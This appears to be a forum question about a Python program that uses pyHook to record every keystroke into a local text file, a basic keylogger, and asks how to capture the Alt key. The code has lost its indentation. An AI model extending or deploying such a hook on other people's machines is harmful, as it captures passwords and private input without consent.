I was writing this type-recording program when I encountered a problem - Alt key doesn't have an Ascii number so I can't hook it in the regular way. This is my source code without the Alt hooking try, the question is - how do I hook Alt? I know that there is Class variable named "Alt" and built-in function named "IsAlt" but I didn't get how to use them.
import pythoncom,pyHook
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 15:
openfile.close()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()